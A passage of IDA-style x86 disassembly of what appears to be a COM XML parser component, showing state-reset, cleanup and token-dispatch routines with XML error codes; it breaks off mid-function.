sub_69B38726	proc near		; CODE XREF: sub_69B388A5+32p
					; sub_69B3937E+2Bp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esi+18h]
		xor	ebx, ebx
		cmp	[esi+78h], ebx
		mov	[esi+1Ch], ebx
		mov	[esi+25h], bl
		mov	[esi+88h], eax
		mov	[esi+27h], bl
		mov	[esi+26h], bl
		mov	[esi+24h], bl
		mov	[esi+3Ah], bl
		mov	[esi+3Eh], bl
		mov	[esi+14h], ebx
		mov	[esi+2Fh], bl
		mov	[esi+34h], ebx
		mov	[esi+3Ch], bl
		mov	byte ptr [esi+3Dh], 1
		mov	[esi+7Ch], bx
		mov	[esi+3Bh], bl
		mov	[esi+3Fh], bl
		mov	[esi+40h], bl
		jz	short loc_69B3878D
		push	ebp
		lea	ebp, [esi+60h]


loc_69B3877E:				; CODE XREF: sub_69B38726+64j
		mov	ecx, ebp
		call	sub_69B31F0D
		cmp	eax, ebx
		mov	[esi+78h], eax
		jnz	short loc_69B3877E
		pop	ebp


loc_69B3878D:				; CODE XREF: sub_69B38726+52j
		mov	[esi+86h], bx
		mov	[esi+74h], ebx
		jmp	short loc_69B387A0
; ---------------------------------------------------------------------------


loc_69B38799:				; CODE XREF: sub_69B38726+7Dj
		mov	ecx, esi
		call	sub_69B384B3


loc_69B387A0:				; CODE XREF: sub_69B38726+71j
		cmp	[esi+5Ch], ebx
		jnz	short loc_69B38799
		push	edi		; lpCriticalSection
		mov	[esi+78h], ebx
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
sub_69B38726	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B38858


loc_69B387B5:				; CODE XREF: sub_69B38858+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B3677A
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B122E0
		mov	dword ptr [esi+4], offset off_69B27784
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B38858

; =============== S U B	R O U T	I N E =======================================



sub_69B387DC	proc near		; DATA XREF: .text:69B122ECo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+10h]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	10h
sub_69B387DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B387F8	proc near		; DATA XREF: .text:69B122F0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+10h]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		retn	10h
sub_69B387F8	endp

; ---------------------------------------------------------------------------


loc_69B38814:				; DATA XREF: .text:off_69B27784o
		push	esi
		mov	esi, ecx
		call	sub_69B38833
		test	byte ptr [esp+8], 1
		jz	short loc_69B3882C
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3882C:				; CODE XREF: .text:69B38821j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B38833	proc near		; CODE XREF: .text:69B38817p
		push	esi
		lea	esi, [ecx+0Ch]
		push	0
		push	esi
		mov	dword ptr [ecx-4], offset off_69B122E0
		mov	dword ptr [ecx], offset	off_69B27784
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B38833	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B38858	proc near		; CODE XREF: sub_69B39730+134p
					; sub_69B4311C+F1p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B387B5 SIZE 00000027 BYTES

		push	14h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B3886A
		mov	ecx, eax
		jmp	loc_69B387B5
; ---------------------------------------------------------------------------


loc_69B3886A:				; CODE XREF: sub_69B38858+9j
		xor	eax, eax
		retn	4
sub_69B38858	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3886F	proc near		; DATA XREF: .text:off_69B276F0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3813A
		test	[esp+4+arg_0], 1
		jz	short loc_69B38887
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B38887:				; CODE XREF: sub_69B3886F+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B3886F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3888E	proc near		; CODE XREF: sub_69B38A09+480p
					; sub_69B38A09+4ECp
		push	esi
		mov	esi, ecx
		jmp	short loc_69B3889A
; ---------------------------------------------------------------------------


loc_69B38893:				; CODE XREF: sub_69B3888E+11j
		mov	ecx, esi
		call	sub_69B386CF


loc_69B3889A:				; CODE XREF: sub_69B3888E+3j
		cmp	word ptr [esi+7Ch], 0
		ja	short loc_69B38893
		xor	eax, eax
		pop	esi
		retn
sub_69B3888E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B388A5	proc near		; DATA XREF: .text:69B27764o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebp
		call	dword_69B92948
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+8+var_4], eax
		jnz	short loc_69B388C1
		mov	eax, 80004005h
		jmp	loc_69B38946
; ---------------------------------------------------------------------------


loc_69B388C1:				; CODE XREF: sub_69B388A5+10j
		push	ebx
		push	esi
		mov	esi, [esp+10h+arg_0]
		push	edi
		lea	ebx, [esi+90h]
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, esi
		call	sub_69B38726
		lea	edi, [esi+0B0h]
		push	dword ptr [edi]
		call	sub_69B1B2B7
		mov	[edi], ebp
		lea	edi, [esi+0B4h]
		push	dword ptr [edi]
		call	sub_69B1B2B7
		push	ebp
		lea	eax, [esi+8Ch]
		push	eax
		mov	[edi], ebp
		mov	[esi+18h], ebp
		call	sub_69B17320
		mov	eax, [esi+20h]
		cmp	eax, ebp
		mov	edi, SysFreeString
		mov	[esi+88h], ebp
		jz	short loc_69B38920
		push	eax		; BSTR
		call	edi ; SysFreeString


loc_69B38920:				; CODE XREF: sub_69B388A5+76j
		mov	eax, [esi+44h]
		cmp	eax, ebp
		mov	[esi+20h], ebp
		jz	short loc_69B3892D
		push	eax		; BSTR
		call	edi ; SysFreeString


loc_69B3892D:				; CODE XREF: sub_69B388A5+83j
		push	ebx		; lpCriticalSection
		mov	[esi+44h], ebp
		call	ds:LeaveCriticalSection
		push	[esp+14h+var_4]
		call	dword_69B92944
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx


loc_69B38946:				; CODE XREF: sub_69B388A5+17j
		pop	ebp
		pop	ecx
		retn	4
sub_69B388A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3894B	proc near		; CODE XREF: sub_69B39299+43p
					; sub_69B3937E+9Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+48h]
		call	sub_69B318FB
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[esi+5Ch], eax
		jnz	short loc_69B3896A
		mov	eax, 8007000Eh
		jmp	loc_69B38A04
; ---------------------------------------------------------------------------


loc_69B3896A:				; CODE XREF: sub_69B3894B+13j
		cmp	dword ptr [esi+50h], 1
		jle	short loc_69B38973
		mov	[esi+3Dh], bl


loc_69B38973:				; CODE XREF: sub_69B3894B+23j
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	[eax], edi
		mov	eax, [esi+5Ch]
		mov	[eax+0Dh], bl
		mov	eax, [esi+5Ch]
		mov	[eax+0Eh], bl
		mov	eax, [esi+5Ch]
		mov	[eax+10h], bl
		mov	eax, [esi+5Ch]
		mov	[eax+0Ch], bl
		mov	cl, [esi+3Eh]
		mov	eax, [esi+5Ch]
		mov	[eax+11h], cl
		mov	cl, [esi+3Ah]
		mov	eax, [esi+5Ch]
		mov	[eax+12h], cl
		mov	cl, [esi+3Ch]
		mov	eax, [esi+5Ch]
		mov	[eax+13h], cl
		mov	eax, [esi+5Ch]
		mov	cl, [esi+3Dh]
		mov	[eax+14h], cl
		mov	eax, [esi+5Ch]
		mov	ecx, [esi+68h]
		mov	[eax+18h], ecx
		cmp	[esi+68h], ebx
		mov	[esi+3Eh], bl
		mov	[esi+3Ah], bl
		jnz	short loc_69B389D5
		cmp	dword ptr [esi+50h], 1
		jnz	short loc_69B389D5
		xor	eax, eax
		inc	eax
		jmp	short loc_69B389D7
; ---------------------------------------------------------------------------


loc_69B389D5:				; CODE XREF: sub_69B3894B+7Dj
					; sub_69B3894B+83j
		xor	eax, eax


loc_69B389D7:				; CODE XREF: sub_69B3894B+88j
		mov	[esi+3Dh], al
		xor	eax, eax
		cmp	[esp+0Ch+arg_0], ebx
		jz	short loc_69B38A03
		mov	eax, [esi+5Ch]
		push	[esp+0Ch+arg_0]
		add	eax, 4
		push	eax
		call	sub_69B17320
		cmp	edi, ebx
		setz	al
		mov	ecx, esi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_69B3845F


loc_69B38A03:				; CODE XREF: sub_69B3894B+95j
		pop	edi


loc_69B38A04:				; CODE XREF: sub_69B3894B+1Aj
		pop	esi
		pop	ebx
		retn	8
sub_69B3894B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B38A09	proc near		; DATA XREF: .text:69B27758o

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
lpCriticalSection= dword ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	ebx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jnz	short loc_69B38A29
		mov	eax, 80004005h
		jmp	loc_69B391D5
; ---------------------------------------------------------------------------


loc_69B38A29:				; CODE XREF: sub_69B38A09+14j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_20]
		push	[ebp+var_10]
		call	sub_69B1A8C7
		lea	eax, [esi+90h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		push	ebx
		lea	ecx, [ebp+var_3C]
		call	sub_69B2DC5B
		xor	edi, edi
		cmp	[esi+25h], bl
		mov	byte ptr [ebp+arg_0+3],	bl
		jz	short loc_69B38A65
		mov	[esi+25h], bl


loc_69B38A65:				; CODE XREF: sub_69B38A09+57j
		cmp	[esi+8Ch], ebx
		jnz	short loc_69B38A77
		mov	edi, 80004005h
		jmp	loc_69B391AF
; ---------------------------------------------------------------------------


loc_69B38A77:				; CODE XREF: sub_69B38A09+62j
		cmp	[esi+26h], bl
		jz	short loc_69B38A86
		mov	edi, 0C00CE551h
		jmp	loc_69B391AF
; ---------------------------------------------------------------------------


loc_69B38A86:				; CODE XREF: sub_69B38A09+71j
		cmp	[esi+14h], ebx
		jnz	short loc_69B38A9D
		mov	esi, [esi+1Ch]
		cmp	esi, ebx
		jz	loc_69B390E5
		mov	edi, esi
		jmp	loc_69B391AF
; ---------------------------------------------------------------------------


loc_69B38A9D:				; CODE XREF: sub_69B38A09+80j
		cmp	[esi+39h], bl
		jnz	loc_69B391AA
		cmp	[ebp+arg_4], ebx
		jz	loc_69B391AA
		mov	byte ptr [esi+39h], 1
		mov	eax, [esi+1Ch]
		cmp	eax, ebx
		jnz	loc_69B390F9
		cmp	[esi+27h], bl
		jnz	short loc_69B38AE0
		mov	eax, [esi+8Ch]
		push	ebx
		push	esi
		mov	byte ptr [esi+27h], 1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		cmp	[esi+26h], bl
		mov	edi, eax
		jnz	loc_69B390E2


loc_69B38AE0:				; CODE XREF: sub_69B38A09+B8j
		cmp	[esi+3Fh], bl
		mov	[esi+24h], bl
		jz	short loc_69B38AFD
		push	dword ptr [esi+78h]
		mov	eax, [esi+8Ch]
		push	esi
		mov	[esi+3Fh], bl
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax


loc_69B38AFD:				; CODE XREF: sub_69B38A09+DDj
		cmp	[esi+40h], bl
		jz	short loc_69B38B26
		push	dword ptr [esi+78h]
		mov	eax, [esi+8Ch]
		push	1
		push	esi
		mov	[esi+40h], bl
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B38B26
		mov	ecx, esi
		call	sub_69B38694
		mov	edi, eax


loc_69B38B26:				; CODE XREF: sub_69B38A09+F7j
					; sub_69B38A09+112j
		lea	eax, [ebp+var_60]
		mov	[ebp+var_60], 24h
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_50], ebx
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_48], ebx
		mov	[ebp+var_44], ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_8], eax
		mov	byte ptr [ebp+arg_4+3],	bl


loc_69B38B4B:				; CODE XREF: sub_69B38A09+6D3j
		inc	dword ptr [esi+30h]
		jmp	loc_69B39051
; ---------------------------------------------------------------------------


loc_69B38B53:				; CODE XREF: sub_69B38A09+64Aj
		cmp	[esi+25h], bl
		jnz	loc_69B3905F
		mov	ecx, [esi+14h]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		mov	[ebp+var_58], ebx
		call	sub_69B354B1
		mov	edi, eax
		cmp	edi, 8000000Ah
		jz	loc_69B3905B
		cmp	[esi+3Eh], bl
		mov	eax, [ebp+var_5C]
		jnz	short loc_69B38B9F
		cmp	eax, ebx
		jz	short loc_69B38B9F
		cmp	eax, 12h
		jz	short loc_69B38B9F
		cmp	eax, 4
		jz	short loc_69B38B9F
		mov	byte ptr [esi+3Eh], 1


loc_69B38B9F:				; CODE XREF: sub_69B38A09+182j
					; sub_69B38A09+186j ...
		cmp	eax, 46h	; switch 71 cases
		ja	loc_69B39044	; default
					; jumptable 69B38BAF cases 6,23,25,26
		movzx	ecx, ds:byte_69B39252[eax]
		jmp	ds:off_69B391DA[ecx*4] ; switch	jump


loc_69B38BB6:				; DATA XREF: .text:off_69B391DAo
		cmp	edi, 0C00CE56Fh	; jumptable 69B38BAF case 0
		jnz	loc_69B39049
		cmp	[esi+0B8h], bl
		jz	loc_69B39049
		xor	edi, edi
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38BD5:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+3Eh], bl	; jumptable 69B38BAF case 4
		jz	short loc_69B38BDF
		cmp	[esi+41h], bl
		jz	short loc_69B38BEC


loc_69B38BDF:				; CODE XREF: sub_69B38A09+1CFj
		mov	ecx, [esi+5Ch]
		cmp	[ecx+0Eh], bl
		jz	short loc_69B38C65 ; jumptable 69B38BAF	cases 1,3
		cmp	[ecx+10h], bl
		jz	short loc_69B38C65 ; jumptable 69B38BAF	cases 1,3


loc_69B38BEC:				; CODE XREF: sub_69B38A09+1D4j
		mov	edi, 0C00CE557h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38BF6:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		push	2		; jumptable 69B38BAF case 28
		pop	eax
		mov	[ebp+var_58], 1Ch
		mov	[ebp+var_5C], eax
		mov	byte ptr [esi+2Fh], 1
		jmp	short loc_69B38C61 ; jumptable 69B38BAF	case 2
; ---------------------------------------------------------------------------


loc_69B38C09:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+2Fh], bl	; jumptable 69B38BAF cases 29,30
		jnz	short loc_69B38C1E
		cmp	dword ptr [esi+50h], 1
		jnz	short loc_69B38C1E
		mov	edi, 0C00CE569h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38C1E:				; CODE XREF: sub_69B38A09+203j
					; sub_69B38A09+209j
		cmp	eax, 1Eh
		jnz	short loc_69B38C33 ; jumptable 69B38BAF	cases 32,33
		cmp	dword ptr [esi+50h], 1
		jle	short loc_69B38C33 ; jumptable 69B38BAF	cases 32,33
		mov	edi, 0C00CE57Ah
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38C33:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+218j ...
		push	2		; jumptable 69B38BAF cases 32,33
		mov	[ebp+var_58], eax
		pop	eax
		mov	[ebp+var_5C], eax
		jmp	short loc_69B38C61 ; jumptable 69B38BAF	case 2
; ---------------------------------------------------------------------------


loc_69B38C3E:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	eax, [esi+74h]	; jumptable 69B38BAF case 31
		imul	eax, [esi+60h]
		mov	ecx, [esi+64h]
		mov	[ebp+var_5C], 2
		mov	[ebp+var_58], 1Fh
		mov	dword ptr [eax+ecx+20h], 1
		mov	eax, [ebp+var_5C]


loc_69B38C61:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+1FEj ...
		mov	byte ptr [ebp+arg_0+3],	1 ; jumptable 69B38BAF case 2


loc_69B38C65:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+1DCj ...
		cmp	[esi+3Dh], bl	; jumptable 69B38BAF cases 1,3
		jz	short loc_69B38C96
		cmp	eax, 1
		jnz	short loc_69B38C83
		cmp	[esi+3Ah], bl
		jnz	short loc_69B38C79
		mov	[esi+3Ah], al
		jmp	short loc_69B38C96
; ---------------------------------------------------------------------------


loc_69B38C79:				; CODE XREF: sub_69B38A09+269j
		mov	edi, 0C00CE555h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38C83:				; CODE XREF: sub_69B38A09+264j
		cmp	eax, 3
		jz	short loc_69B38C96
		cmp	eax, 4
		jz	short loc_69B38C96
		cmp	eax, 5
		jnz	loc_69B38DF4


loc_69B38C96:				; CODE XREF: sub_69B38A09+25Fj
					; sub_69B38A09+26Ej ...
		cmp	byte ptr [ebp+arg_0+3],	bl
		lea	eax, [ebp+var_60]
		mov	[ebp+var_54], ebx
		mov	ecx, esi
		push	eax
		jz	short loc_69B38CBB
		call	sub_69B37C12
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B39049
		mov	byte ptr [ebp+arg_0+3],	bl
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38CBB:				; CODE XREF: sub_69B38A09+299j
		call	sub_69B37B4D
		jmp	loc_69B39040
; ---------------------------------------------------------------------------


loc_69B38CC5:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+3Ch], bl	; jumptable 69B38BAF case 5
		jz	short loc_69B38CD4
		mov	edi, 0C00CE581h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38CD4:				; CODE XREF: sub_69B38A09+2BFj
		cmp	[esi+34h], ebx
		mov	byte ptr [esi+3Ch], 1
		jz	short loc_69B38CE7
		mov	edi, 0C00CE57Bh
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38CE7:				; CODE XREF: sub_69B38A09+2D2j
		cmp	[esi+3Ah], bl
		jz	short loc_69B38D1D
		mov	edi, 0C00CE57Eh
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38CF6:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[ebp+var_58], eax ; jumptable 69B38BAF cases 34-36
		mov	[ebp+var_5C], 6
		mov	byte ptr [ebp+arg_0+3],	1
		jmp	short loc_69B38D1D
; ---------------------------------------------------------------------------


loc_69B38D06:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[ebp+var_58], 31h ; jumptable 69B38BAF case 49
		mov	[ebp+var_5C], 7


loc_69B38D14:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+34h], ebx	; jumptable 69B38BAF cases 7-12
		jz	loc_69B38DAE


loc_69B38D1D:				; CODE XREF: sub_69B38A09+2E1j
					; sub_69B38A09+2FBj
		cmp	[esi+3Bh], bl
		jz	short loc_69B38D33
		mov	ecx, esi
		call	sub_69B386EA
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B39049


loc_69B38D33:				; CODE XREF: sub_69B38A09+317j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	eax, [esi+8Ch]
		lea	edx, [ebp+var_8]
		push	edx
		push	1
		push	dword ptr [esi+88h]
		mov	[ebp+var_54], ebx
		mov	ecx, [eax]
		push	esi
		push	eax
		jz	short loc_69B38D7B
		mov	byte ptr [ebp+arg_0+3],	bl
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, esi
		call	sub_69B37D95


loc_69B38D64:				; CODE XREF: sub_69B38A09+382j
		cmp	eax, ebx
		jge	short loc_69B38D6A
		mov	edi, eax


loc_69B38D6A:				; CODE XREF: sub_69B38A09+35Dj
		mov	eax, [ebp+var_44]
		mov	[esi+88h], eax


loc_69B38D73:				; CODE XREF: sub_69B38A09+43Dj
		mov	[ebp+var_44], ebx
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38D7B:				; CODE XREF: sub_69B38A09+346j
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, esi
		call	sub_69B37B4D
		jmp	short loc_69B38D64
; ---------------------------------------------------------------------------


loc_69B38D8D:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[ebp+var_5C], 19h ; jumptable 69B38BAF cases 37-45
		jmp	short loc_69B38DA6
; ---------------------------------------------------------------------------


loc_69B38D96:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[ebp+var_5C], 1Ah ; jumptable 69B38BAF cases 46-48
		jmp	short loc_69B38DA6
; ---------------------------------------------------------------------------


loc_69B38D9F:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[ebp+var_5C], 17h ; jumptable 69B38BAF cases 50-57


loc_69B38DA6:				; CODE XREF: sub_69B38A09+38Bj
					; sub_69B38A09+394j
		mov	[ebp+var_58], eax


loc_69B38DA9:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+34h], ebx	; jumptable 69B38BAF cases 15,22,24
		jnz	short loc_69B38DEF ; jumptable 69B38BAF	cases 13,14,17


loc_69B38DAE:				; CODE XREF: sub_69B38A09+30Ej
		mov	edi, 0C00CE580h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38DB8:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	eax, [esi+8Ch]	; jumptable 69B38BAF cases 19-21,27
		xor	ecx, ecx
		inc	ecx
		lea	edi, [ebp+var_8]
		push	edi
		push	ecx
		push	dword ptr [esi+88h]
		mov	[ebp+var_54], ecx
		mov	edx, [eax]
		push	esi
		push	eax
		call	dword ptr [edx+1Ch]
		cmp	[ebp+var_5C], 1Bh
		mov	edi, eax
		mov	[ebp+var_44], ebx
		jnz	loc_69B39049
		dec	dword ptr [esi+34h]
		push	4
		jmp	loc_69B39033
; ---------------------------------------------------------------------------


loc_69B38DEF:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+3A3j
					; DATA XREF: ...
		cmp	[esi+3Dh], bl	; jumptable 69B38BAF cases 13,14,17
		jz	short loc_69B38E0E ; jumptable 69B38BAF	cases 16,18


loc_69B38DF4:				; CODE XREF: sub_69B38A09+287j
		mov	edi, 0C00CE556h
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38DFE:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+7Ch], bx	; jumptable 69B38BAF cases 58-60
		mov	[ebp+var_58], eax
		mov	[ebp+var_5C], 0Dh
		jnz	short loc_69B38E4B


loc_69B38E0E:				; CODE XREF: sub_69B38A09+1A6j
					; sub_69B38A09+3E9j
					; DATA XREF: ...
		cmp	[esi+7Ch], bx	; jumptable 69B38BAF cases 16,18
		mov	[ebp+var_54], 1
		jz	short loc_69B38E2B
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, esi
		call	sub_69B37D23
		jmp	loc_69B39040
; ---------------------------------------------------------------------------


loc_69B38E2B:				; CODE XREF: sub_69B38A09+410j
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	1
		push	dword ptr [esi+88h]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		jmp	loc_69B38D73
; ---------------------------------------------------------------------------


loc_69B38E4B:				; CODE XREF: sub_69B38A09+403j
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_54], 1
		call	sub_69B37D23
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B39049
		push	dword ptr [esi+78h]
		mov	ecx, esi
		call	sub_69B375AE
		jmp	loc_69B39040
; ---------------------------------------------------------------------------


loc_69B38E76:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		xor	eax, eax	; jumptable 69B38BAF case 61
		mov	ax, [esi+7Ch]
		cmp	ax, bx
		lea	ecx, [eax+1]
		mov	[ebp+var_C], ecx
		jz	short loc_69B38E8E
		mov	ecx, esi
		call	sub_69B3888E


loc_69B38E8E:				; CODE XREF: sub_69B38A09+47Cj
		mov	edx, [esi+74h]
		mov	edi, [esi+80h]
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		lea	edx, [edi+edx*4]
		push	edx
		push	[ebp+var_C]
		push	dword ptr [esi+88h]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		cmp	edi, ebx
		mov	eax, [esi+78h]
		mov	ecx, [eax+1Ch]
		mov	[esi+88h], ecx
		jge	short loc_69B38ECC
		mov	byte ptr [esi+3Fh], 1
		jmp	loc_69B39049
; ---------------------------------------------------------------------------


loc_69B38ECC:				; CODE XREF: sub_69B38A09+4B8j
		mov	ecx, [esi+8Ch]
		mov	edx, [ecx]
		push	eax
		push	esi
		push	ecx
		call	dword ptr [edx+10h]
		jmp	loc_69B39040
; ---------------------------------------------------------------------------


loc_69B38EDF:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		mov	[esi+2Fh], bl	; jumptable 69B38BAF case 65


loc_69B38EE2:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		xor	eax, eax	; jumptable 69B38BAF case 62
		mov	ax, [esi+7Ch]
		cmp	ax, bx
		lea	ecx, [eax+1]
		mov	[ebp+var_C], ecx
		jz	short loc_69B38EFA
		mov	ecx, esi
		call	sub_69B3888E


loc_69B38EFA:				; CODE XREF: sub_69B38A09+4E8j
		mov	edx, [esi+74h]
		mov	edi, [esi+80h]
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		lea	edx, [edi+edx*4]
		push	edx
		push	[ebp+var_C]
		push	dword ptr [esi+88h]
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_69B38FC5


loc_69B38F27:				; CODE XREF: sub_69B38A09+549j
					; sub_69B38A09+55Cj
		push	dword ptr [esi+78h]
		push	1


loc_69B38F2C:				; CODE XREF: sub_69B38A09+5C6j
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+14h]
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B39049
		mov	ecx, esi
		call	sub_69B38694
		jmp	loc_69B39040
; ---------------------------------------------------------------------------


loc_69B38F4F:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		cmp	[esi+3Bh], bl	; jumptable 69B38BAF case 66
		jz	short loc_69B38F27
		mov	ecx, esi
		call	sub_69B386EA
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B39049
		jmp	short loc_69B38F27
; ---------------------------------------------------------------------------


loc_69B38F67:				; CODE XREF: sub_69B38A09+1A6j
					; DATA XREF: .text:off_69B391DAo
		lea	eax, [ebp+var_60] ; jumptable 69B38BAF case 64
		push	eax
		mov	ecx, esi
		mov	[ebp+var_5C], 0Eh
